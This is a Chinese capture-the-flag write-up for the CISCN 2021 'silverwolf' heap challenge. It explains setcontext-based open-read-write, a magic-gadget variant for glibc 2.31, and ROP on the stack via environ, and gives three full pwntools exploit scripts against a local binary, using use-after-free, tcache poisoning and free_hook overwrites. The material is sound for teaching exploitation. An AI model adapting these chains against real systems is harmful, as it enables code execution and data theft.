例题是来自ciscn2021初赛的silverwolf,原本只是用来练习利用setcontext去orw没想到翻查各大师傅wp时发现这个题目有各种各样的pwn姿势,一个题目能搞出好几个exp,着实对本菜🐥幼小的心灵造成了不小冲击,于是我决定不白蓝要好好学习时,就把这些定成了小目标一一学习复现。弟弟我冲了,不然fallw1nd又要pua我了。
题目大概程序就是只能控制id为0的堆块,存在UAF漏洞,开了沙箱白名单,只允许open read 和write的系统调用,很ez是吧(
一、setcontext+orw(libc<2.29)
1、setcontext
setcontext是libc中一段根据rdi去索引相对应的值,然后将这些值mov进寄存器的一段汇编。在libc-2.29以下,它长介个样子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| 0x7f638914d070 <setcontext>: push rdi 0x7f638914d071 <setcontext+1>: lea rsi,[rdi+0x128] 0x7f638914d078 <setcontext+8>: xor edx,edx 0x7f638914d07a <setcontext+10>: mov edi,0x2 0x7f638914d07f <setcontext+15>: mov r10d,0x8 0x7f638914d085 <setcontext+21>: mov eax,0xe 0x7f638914d08a <setcontext+26>: syscall 0x7f638914d08c <setcontext+28>: pop rdi 0x7f638914d08d <setcontext+29>: cmp rax,0xfffffffffffff001 0x7f638914d093 <setcontext+35>: jae 0x7f638914d0f0 <setcontext+128> 0x7f638914d095 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0] 0x7f638914d09c <setcontext+44>: fldenv [rcx] 0x7f638914d09e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0] 0x7f638914d0a5 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] 0x7f638914d0ac <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] 0x7f638914d0b3 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] 0x7f638914d0b7 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] 0x7f638914d0bb <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] 0x7f638914d0bf <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] 0x7f638914d0c3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] 0x7f638914d0c7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] 0x7f638914d0ce <setcontext+94>: push rcx 0x7f638914d0cf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] 0x7f638914d0d3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] 0x7f638914d0da <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] 0x7f638914d0e1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] 0x7f638914d0e5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] 0x7f638914d0e9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] 0x7f638914d0ed <setcontext+125>: xor eax,eax 0x7f638914d0ef <setcontext+127>: ret 0x7f638914d0f0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x398d71] 0x7f638914d0f7 <setcontext+135>: neg eax 0x7f638914d0f9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax 0x7f638914d0fc <setcontext+140>: or rax,0xffffffffffffffff 0x7f638914d100 <setcontext+144>: ret
|
而我们要从setcontext+53开始利用,因为再次之前这个 fldenv [rcx] 会导致程序crash。从汇编中我们可以看出,setcontext可以设置除了rax之外的一系列寄存器,把他们🐏成👴想要的值,rip寄存器由于ret之前把rcx的值给push进了栈里面,所以我们也能控制了rip。最后最后,不可控的rax寄存器,因为xor eax,eax这条汇编的存在,所以它一定会先被设置成0。好!rax寄存是0!👴一开始并不明白为什么这个0会让大伙如此兴奋,难不成大伙都是1吗(bushi
rax寄存器是存放返回结果的寄存器,也用来存放系统调用号,我们没法通过setcontext控制rax,但通过类似栈迁移的手法执行rop控制寄存器。
我们能控制rsp和rip,就能把栈劫持到我们的可控区域,类似栈迁移,提前在可控区域布置好rop链就可以劫持我们的栈到上面,从而控制程序执行流进行orw。除此之外我们也可以选择调用mprotect函数,在可控区域提前布置好shellcode。
这题看了chuj师傅博客中尝试leak libc的方法– malloc_consolidate leak ,将top chunk耗尽后触发 small request 的 malloc_consolidate 会让fastbin都经过一次unsorted bin,这样就有libc,但这题目开的白名单,耗尽top chunk后会调用brk()这一系统调用去增长堆空间,在这里程序会crash。在布局时要垫高和topchunk的距离,不然会被认为topchunk大小不够从而调用brk()导致crash。另外在尝试的过程中发现,free的过程中,貌似不仅要伪造好当前堆块+size位的chunk头,过程中好像还会一直根据size去检索,直到top chunk(留个坑,没看源码捏),所以堆布局要构造好。
2、解题思路
libc:2.27-3ubuntu1.5_amd64
题目限制了malloc的大小,所以我的想法是用在堆块中伪造一个chunk头,然后tcache posion申请到这个fake chunk,再free掉它从而构造出unsorted bin。通过tcache直接获得堆地址(这题本地调试会自己malloc和free很多堆块,我从里面随便挑了一个size的申请,然后show就有heap_addr)
然后打free_hook为setcontext+53,由于我们只能控制id为0的堆块,所以得先free一个堆块chunk1作为铺垫,再在该chunk1堆块往高地址的地方布置rop链,最后再申请回chunk1,将其free作为rdi的参数,由于申请size大小限制,得分开布局rop,其中要注意我们chunk的size位也会被当作rop链的一部分,所以需要连续的pop指令,不然ret会返回的地址会变成size从而导致程序crash
3、exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| from pwn import* p=process('./silverwolf') elf=ELF('./silverwolf') context.os = 'linux' context.log_level = 'debug' context.arch = 'amd64' def menu(choice): p.sendlineafter("Your choice:",str(choice)) def add(id,size): menu(1) p.sendlineafter("Index:",str(id)) p.sendlineafter(":",str(size)) def edit(id,data): menu(2) p.sendlineafter("Index:",str(id)) p.sendlineafter("Content:",str(data)) def show(id): menu(3) p.sendlineafter("Index:",str(id)) def delete(id): menu(4) p.sendlineafter("Index:",str(id))
add(0,0x8) delete(0) show(0) p.recvuntil("Content: ") heap_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1790 print(hex(heap_addr)) add(0,0x38) edit(0,p64(0)+p64(0x511)+p64(heap_addr+0x10d0)) add(0,0x68)
delete(0)
pause() edit(0,p64(heap_addr+0x1930)) chunk_head=p64(0)+p64(0x31) for i in range(15): add(0,0x58) edit(0,p64(0)*6+chunk_head) add(0,0x68) pause()
add(0,0x68)
raw_input('enter')
delete(0) show(0) libc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, '\x00'))-0x3ebca0 print(hex(libc)) setcontext=libc+0x52050+53 free_hook=libc+0x3ed8e8 write=libc+0x1100f0 read=libc+0x110020 openadd=libc+0x10fbf0 pop_rdi_rbp=libc+0x0000000000022394 pop_rdi=libc+0x000000000002164f pop_rsi=libc+0x0000000000023a6a pop_rdx=libc+0x0000000000001b96 pop_rax=libc+0x000000000001b500 syscall=libc+0x00000000000d2625
add(0,0x78) delete(0) edit(0,p64(free_hook)*2) add(0,0x18) edit(0,'./flag\x00') flag_addr=heap_addr+0x1610 add(0,0x28) edit(0,'a'*0x28) delete(0) add(0,0x78) add(0,0x78) edit(0,p64(setcontext)*2) pd=p64(9)+b'a'*0x10+p64(12)+p64(13)+p64(14)+p64(15)+p64(flag_addr)+p64(2)+p64(0)+p64(0xaa)
add(0,0x58) edit(0,pd)
raw_input('gdb') add(0,0x78) pd=b'a'*8+p64(0xaa)+p64(heap_addr+0x19d0)+p64(pop_rax) pd+=p64(2)+p64(syscall)+p64(pop_rdi)+p64(3)+p64(pop_rsi) pd+=p64(heap_addr)+p64(pop_rdx)+p64(0x100)+p64(read)+p64(pop_rdi_rbp)+p64(1)
edit(0,pd)
pd=p64(write) add(0,0x48) edit(0,pd)
add(0,0x28) gdb.attach(p) raw_input() delete(0)
p.interactive()
|
二、setcontext+orw(libc>2.29)
1、改动以及解决方法
libc:2.31
在glibc高于2.29的版本里,setcontext从rdx寄存器索引去寻找寄存器的值而不是rdi寄存器,这意味着我们不能够通过free堆块,将其作为rdi传参来控制对应寄存器
因此我们需要一个magic gadget来帮助我们。根据大师傅所说的,在libc>2.29的版本,基本都能找到类似 mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] 这样的gadget。
我一开始不理解为什么要这种gadget,仔细分析一下,首先是mov rdx ,qword ptr [rdi + 8],是将rdi+8的值赋值给rdx寄存器,介不控制了rdx了吗,然后有call了qword ptr [rdx + 0x20],那我这里放setcontext介不是相当于又控制了rdx又控制了接下来执行的指令吗,ok,冲一发先。
找到这样的类似gadget,然后我们free堆块依旧当作rdi传参,然后rdi+8的位置刚好是我们的可控区域并且会将这里的值传入rdx,最后会call rdx +0x20这个位置。
那我们只要构造**’a’*8+p64(chunk)+’b’*0x10+p64(setcontext)**,其中chunk内布置我们利用setcontext的寄存器,然后劫持到堆上rop即可。
攻击效果如下
2、exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| from pwn import* p=process('./silverwolf') elf=ELF('./silverwolf') context.os = 'linux' context.log_level = 'debug' context.arch = 'amd64' def menu(choice): p.sendlineafter("Your choice:",str(choice)) def add(id,size): menu(1) p.sendlineafter("Index:",str(id)) p.sendlineafter(":",str(size)) def edit(id,data): menu(2) p.sendlineafter("Index:",str(id)) p.sendlineafter("Content:",str(data)) def show(id): menu(3) p.sendlineafter("Index:",str(id)) def delete(id): menu(4) p.sendlineafter("Index:",str(id)) def check(): gdb.attach(p) raw_input('check')
add(0,0x8) delete(0) show(0) p.recvuntil("Content: ") heap_addr=u64(p.recv(6).ljust(8,'\x00'))-0x17d0 print('[+]heap='+hex(heap_addr))
add(0,0x38) edit(0,p64(0)+p64(0x511)+p64(heap_addr+0x1330)) add(0,0x68)
delete(0)
edit(0,p64(heap_addr+0x1970)) chunk_head=p64(0)+p64(0x31) for i in range(15): add(0,0x58) edit(0,p64(0)*6+chunk_head) add(0,0x68)
add(0,0x68)
delete(0) show(0) libc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, '\x00'))-0x1ecbe0 print('[+]libc='+hex(libc))
setcontext=libc+0x54f20+61 free_hook=libc+0x1eee48 write=libc+0x10e060 read=libc+0x10dfc0 openadd=libc+0x10dce0 pop_rsi_15=libc+0x0000000000023b68 pop_rdi=libc+0x0000000000023b6a pop_rsi=libc+0x000000000002601f pop_rdx=libc+0x0000000000142c92 pop_rax=libc+0x0000000000036174 syscall=libc+0x00000000000630a9 magic_gadget=libc+0x0000000000151990 ret=libc+0x0000000000022679 pop_rdi_rbp=libc+0x00000000000248f2 add(0,0x68) delete(0) edit(0,p64(free_hook)*2) add(0,0x18) edit(0,'./flag\x00') flag_addr=heap_addr+0x1650 add(0,0x28) rop_addr=heap_addr
delete(0)
add(0,0x68) add(0,0x68) edit(0,p64(magic_gadget)*2) fake_rsp=heap_addr pd=p64(9)+b'a'*0x10+p64(12)+p64(13)+p64(14)+p64(15)+p64(flag_addr)+p64(2)+p64(0)+p64(0xaa)
add(0,0x58) edit(0,pd)
add(0,0x58)
pd=b'a'*8+p64(0xaa)+p64(heap_addr+0x1a10)+p64(pop_rax) pd+=p64(2)+p64(syscall)+p64(pop_rdi)+p64(3)+p64(pop_rsi) pd+=p64(heap_addr)+p64(pop_rdx)
edit(0,pd) pd=p64(read)+p64(pop_rdi_rbp)+p64(1)+p64(0)+p64(write) add(0,0x38) edit(0,pd)
add(0,0x28) check() edit(0,'a'*8+p64(heap_addr+0x1970)+'b'*0x10+p64(setcontext)) delete(0)
p.interactive()
|
三、利用environ
曾经volcano的学长告诉我这一招,就是申请到栈上rop,回归pwn最初的模样,找回初恋的感觉(x
1、environ变量
environ变量是glibc里的一个环境变量。里面会存储一个栈的地址。得知栈地址我们就可以将chunk申请到栈上,找回初次与pwn相恋的感觉
2、调试小tips
每一个函数栈帧与这个environ值的偏移是不同的,我们需要申请的是你最后完成rop布局时ret的地址
可以在ida里找到retn
我们尝试断点到edit函数的这个retn
1 2
| pwndbg> b *$rebase(0x1056) Breakpoint 1 at 0x55985f001056
|
找到此时的rsp地址
这个0x7ffcc4659008就是我们要打的ret,接下来申请过去无脑塞ROP就可以了。
本地libc:2.27-3ubuntu1.5_amd64
需要注意的是本题在打tcache poison时要注意维护下原链表,否则就容易无法再次申请该size大小的堆块,我下面的exp没有维护链表是因为libc版本是2.27,没有对cnt位的检测,可以直接找一个空的tcache bins去打tcache posion。当然可以直接打整个tcache struct(
3、exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131
| from pwn import* p=process('./silverwolf') elf=ELF('./silverwolf') context.os = 'linux' context.log_level = 'debug' context.arch = 'amd64'
def menu(choice): p.sendlineafter("Your choice:",str(choice)) def add(id,size): menu(1) p.sendlineafter("Index:",str(id)) p.sendlineafter(":",str(size)) def edit(id,data): menu(2) p.sendlineafter("Index:",str(id)) p.sendlineafter("Content:",str(data)) def show(id): menu(3) p.sendlineafter("Index:",str(id)) def delete(id): menu(4) p.sendlineafter("Index:",str(id)) def check(): gdb.attach(p) raw_input()
def check_edit(id,data): menu(2) p.sendlineafter("Index:",str(id)) check() p.sendlineafter("Content:",str(data))
add(0,0x8) delete(0) show(0) p.recvuntil("Content: ") heap_addr=u64(p.recv(6).ljust(8,'\x00'))-0x1790 print(hex(heap_addr)) add(0,0x38) edit(0,p64(0)+p64(0x511)+p64(heap_addr+0x10d0)) add(0,0x68)
delete(0)
edit(0,p64(heap_addr+0x1930)) chunk_head=p64(0)+p64(0x31) for i in range(15): add(0,0x58) edit(0,p64(0)*6+chunk_head) add(0,0x68)
add(0,0x68)
delete(0) show(0) libc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, '\x00'))-0x3ebca0 print(hex(libc)) setcontext=libc+0x52050+53 free_hook=libc+0x3ed8e8 write=libc+0x1100f0 read=libc+0x110020 openadd=libc+0x10fbf0 pop_rdi_rbp=libc+0x0000000000022394 pop_rdi=libc+0x000000000002164f pop_rsi=libc+0x0000000000023a6a pop_rdx=libc+0x0000000000001b96 pop_rax=libc+0x000000000001b500 syscall=libc+0x00000000000d2625 environ=libc+0x3ee098 pop_rdx_rbx=libc+0x000000000011c35c add(0,0x38) delete(0) edit(0,p64(environ)*2) add(0,0x18)
edit(0,'./flag\x00') flag_addr=heap_addr+0x1610
add(0,0x38)
add(0,0x38)
show(0)
stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x120 print('[+]stack='+hex(stack))
def orw1(): add(0,0x68) delete(0) edit(0,p64(stack)) add(0,0x68) add(0,0x68) pd=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax) pd+=p64(2)+p64(syscall)+p64(pop_rdi)+p64(3)+p64(pop_rsi) pd+=p64(heap_addr)+p64(pop_rdx_rbx)+p64(0x100) print('[+]stack='+hex(stack)) check_edit(0,pd)
add(0,0x28) delete(0) edit(0,p64(stack+0x70)) print('write='+hex(stack+0x70)) add(0,0x28)
add(0,0x28) pd=p64(read)+p64(pop_rdi)+p64(1)+p64(write)
edit(0,pd)
orw1()
p.interactive()
|